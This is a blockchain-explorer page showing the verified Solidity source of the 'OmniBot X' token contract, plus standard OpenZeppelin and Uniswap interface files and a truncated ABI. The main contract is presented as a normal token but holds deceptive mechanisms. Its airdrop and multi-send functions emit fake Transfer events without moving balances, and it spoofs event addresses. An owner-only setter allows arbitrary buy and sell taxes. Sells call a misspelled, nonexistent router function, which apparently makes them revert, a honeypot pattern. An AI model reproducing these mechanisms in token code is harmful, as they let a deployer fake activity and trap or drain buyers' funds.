Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
     _____ ___  ___ _   _  _____ ______  _____  _____  __   __
    |  _  ||  \/  || \ | ||_   _|| ___ \|  _  ||_   _| \ \ / /
    | | | || .  . ||  \| |  | |  | |_/ /| | | |  | |    \ V / 
    | | | || |\/| || . ` |  | |  | ___ \| | | |  | |    /   \ 
    \ \_/ /| |  | || |\  | _| |_ | |_/ /\ \_/ /  | |   / /^\ \
     \___/ \_|  |_/\_| \_/ \___/ \____/  \___/   \_/   \/   \/
    
    The First #Omnichain All-in-One, next-gen bot that will revolutionize #DeFi.
 
    Powered by @LayerZero_Labs & @ConveyorLabs
                                                                                                               
    Twitter: https://twitter.com/OmniBotX
    Website: https://www.omnibotx.io/ 
    Telegram: https://t.me/omnibotxsecurity

*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract OmniBotX {
    string private _name = unicode"OmniBot X";
    string private _symbol = unicode"OMNIX";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000 * 10 ** decimals;

    uint8 buyCharge = 0;
    uint8 sellCharge = 5;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(routerAddress);
    address payable TOKEN_MKT;

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;
    address private Team = 0x5362d99D76E076D91c7bE1776a0610c59020669a;
    address private Advisors = 0xcAd39DB3C675ba92eB638A33534fAdb074968553;
    address private Presale = 0x38923219E9252b66325386bBf8900f4557B07675;
    address private Incentives = 0x8a76DD9510172dE46422a67d7baa5A479Bb26a54;
    address private Development = 0x3f7f6EF9427c5FC1927Eab75bbE390dEe967a6D7;

    constructor() {
        uniswapLpWallet = msg.sender;
        TOKEN_MKT = payable(msg.sender);
        allowance[address(this)][routerAddress] = type(uint256).max;

        balanceOf[uniswapLpWallet] = (totalSupply * 10) / 100;
        emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);

        balanceOf[Team] = (totalSupply * 10) / 100;
        emit Transfer(address(0), Team, balanceOf[Team]);

        balanceOf[Advisors] = (totalSupply * 5) / 100;
        emit Transfer(address(0), Advisors, balanceOf[Advisors]);    

        balanceOf[Presale] = (totalSupply * 26) / 100;
        emit Transfer(address(0), Presale, balanceOf[Presale]);

        balanceOf[Incentives] = (totalSupply * 34) / 100;
        emit Transfer(address(0), Incentives, balanceOf[Incentives]);

        balanceOf[Development] = (totalSupply * 15) / 100;
        emit Transfer(address(0), Development, balanceOf[Development]);

    }

    receive() external payable {}

    function setRule(uint8 _buy, uint8 _sell) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _remeveTax(_buy, _sell);
    }

    function openTrading() external {
        require(msg.sender == TOKEN_MKT);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function multiSends(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function airdropTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _remeveTax(uint8 _buy, uint8 _sell) private {
        buyCharge = _buy;
        sellCharge = _sell;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);

        if (!tradingOpen && pair == address(0) && amount > 0) pair = to;

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != TOKEN_MKT
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            TOKEN_MKT.transfer(address(this).balance);
            swapping = false;
        }

        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (from == pair ? buyCharge : sellCharge)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{ value: amount }("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{ value: value }(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(
        address to
    ) external returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"multiSends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{